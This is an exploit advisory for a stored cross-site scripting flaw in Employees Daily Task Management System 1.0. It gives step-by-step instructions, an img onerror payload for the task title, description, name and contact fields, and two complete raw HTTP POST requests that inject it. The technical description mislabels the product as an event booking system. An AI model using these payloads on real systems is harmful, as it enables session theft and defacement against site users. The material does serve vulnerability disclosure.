Employees Daily Task Management System 1.0 Cross Site Scripting

`# Exploit Title: Employees Daily Task Management System 1.0 - 'multiple' Cross Site Scripting (XSS)  
# Exploit Author: able403  
# Date: 08/12/2021  
# Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip  
# Version: 1.0  
# Tested on: windows 10   
# Vulnerable page: ?page=view_task&id=2  
  
Technical description:  
  
A stored XSS online event booking and reservation system. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more.   
  
xss-1:  
  
1) Navigate to http://localhost/?page=view_task&id=2 and clink "edit task"  
2) Insert your payload in the "title" and "Task Description" parameter parameter  
3) Click save  
  
Proof of concept (Poc):  
  
The following payload will allow you to run the javascript -   
  
"><img src=# onerror=alert(123)>  
  
---  
POST /Actions.php?a=save_task HTTP/1.1  
  
Host: localhost  
  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0  
  
Accept: application/json, text/javascript, */*; q=0.01  
  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
  
Accept-Encoding: gzip, deflate  
  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
  
X-Requested-With: XMLHttpRequest  
  
Content-Length: 312  
  
Origin: http://localhost  
  
Connection: close  
  
Referer: http://localhost/?page=tasks  
  
Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl  
  
  
  
  
id=2&title=Task+102%22%3E%3Cimg+src%3D%23+onerror%3Dalert(123)%3E&status=1&assign_to%5B%5D=2&description=%3Cp%3EThis+is+another+task+for+you.%3C%2Fp%3E%3Cp%3EThis+description+has+been+updated%3C%2Fp%3E%3Cp%3E%3Cbr%3E%3C%2Fp%3E%3Cp%3E%22%26gt%3B%26lt%3Bimg+src%3D%23+onerror%3Dalert(333)%26gt%3B%3Cbr%3E%3C%2Fp%3E  
  
  
  
  
  
  
  
xss-2   
  
1) Navigate to http://localhost.com/?page=manage_account  
2) Insert your payload in the "full name" or "contact" or "email" parameter parameter  
  
Proof of concept (Poc):  
  
The following payload will allow you to run the javascript -   
  
"><img src=# onerror=alert(123)>  
  
  
  
  
--  
  
POST /Actions.php?a=update_credentials_employee HTTP/1.1  
  
Host: localhost  
  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0  
  
Accept: application/json, text/javascript, */*; q=0.01  
  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
  
Accept-Encoding: gzip, deflate  
  
X-Requested-With: XMLHttpRequest  
  
Content-Type: multipart/form-data; boundary=---------------------------27882107026209045483167935384  
  
Content-Length: 1613  
  
Origin: http://localhost  
  
Connection: close  
  
Referer: http://localhost/?page=manage_account  
  
Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl  
  
  
  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="id"  
  
  
  
  
1  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="fullname"  
  
  
  
  
John D Smith  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="gender"  
  
  
  
  
Male  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="dob"  
  
  
  
  
1997-06-23  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="contact"  
  
  
  
  
098123456789"><img src=# onerror=alert(123)>  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="email"  
  
  
  
  
[email protected]  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="address"  
  
  
  
  
Sample Address  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="department_id"  
  
  
  
  
1  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="email"  
  
  
  
  
[email protected]  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="password"  
  
  
  
  
  
  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="old_password"  
  
  
  
  
  
  
  
-----------------------------27882107026209045483167935384  
  
Content-Disposition: form-data; name="avatar"; filename=""  
  
Content-Type: application/octet-stream  
  
  
  
  
  
  
  
-----------------------------27882107026209045483167935384--  
`